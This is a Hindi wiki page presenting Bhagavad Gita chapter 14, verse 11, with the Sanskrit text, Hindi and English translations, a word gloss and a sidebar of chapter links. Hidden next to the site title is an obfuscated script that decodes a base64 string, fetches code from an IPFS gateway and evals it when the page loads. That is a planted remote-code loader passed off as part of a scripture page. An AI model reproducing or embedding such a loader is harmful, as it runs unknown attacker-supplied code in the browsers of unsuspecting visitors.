ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
नेविगेशन पर जाएँ
खोज पर जाएँ
गीता अध्याय-14 श्लोक-11 / Gita Chapter-14 Verse-11
प्रसंग-
इस प्रकार अन्य दो गुणों को दबाकर प्रत्येक गुण के बढ़ने की बात कही गयी । अब प्रत्येक गुण की वृद्धि के लक्षण जानने की इच्छा होने पर सत्त्वगुण की वृद्धि के लक्षण पहले बतलाये जाते हैं-
सर्वद्वारेषु देहेऽस्मिन्प्रकाश उपजायते ।
ज्ञानं यदा तदा विद्याद्विवृद्धं सत्त्वमित्युत ।।11।।
|
जिस समय इस देह में तथा अन्त:करण और इन्द्रियों में चेतनता और विवेकशक्ति उत्पन्न होती है, उस समय ऐसा जानना चाहिये कि सत्त्वगुण बढ़ा है ।।11।।
|
When light and discernment dawn in this body, as well as in the mind and senses, then one should know that Sattva is predominant. (11)
|
यदा = जिस काल में ; अस्मिन् = इस ; देहे = देह में (तथा) ; च = और ; ज्ञानम् = बोधशक्ति ; उपजायते = उत्पन्न होती है ; तदा = उस कालमें ; इति = ऐसा ; सर्वद्वारेषु = अन्त:करण और इन्द्रियों में ; प्रकाश: = चेतनता ; विद्यात् = जानना चाहिये ; उत = कि ; सत्त्वम् = सत्त्वगुण ; विवृद्धम् = बढा है
|
|
|
|
<sidebar>
- सुस्वागतम्
- mainpage|मुखपृष्ठ
- ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
- विशेष:Contact|संपर्क
- समस्त श्रेणियाँ|समस्त श्रेणियाँ
- SEARCH
- LANGUAGES
__NORICHEDITOR__
- गीता अध्याय-Gita Chapters
- गीता 1:1|अध्याय [1] Chapter
- गीता 2:1|अध्याय [2] Chapter
- गीता 3:1|अध्याय [3] Chapter
- गीता 4:1|अध्याय [4] Chapter
- गीता 5:1|अध्याय [5] Chapter
- गीता 6:1|अध्याय [6] Chapter
- गीता 7:1|अध्याय [7] Chapter
- गीता 8:1|अध्याय [8] Chapter
- गीता 9:1|अध्याय [9] Chapter
- गीता 10:1|अध्याय [10] Chapter
- गीता 11:1|अध्याय [11] Chapter
- गीता 12:1|अध्याय [12] Chapter
- गीता 13:1|अध्याय [13] Chapter
- गीता 14:1|अध्याय [14] Chapter
- गीता 15:1|अध्याय [15] Chapter
- गीता 16:1|अध्याय [16] Chapter
- गीता 17:1|अध्याय [17] Chapter
- गीता 18:1|अध्याय [18] Chapter
</sidebar>
|
|
महाभारत |
---|
| महाभारत संदर्भ | | | | महाभारत के पर्व | |
|
|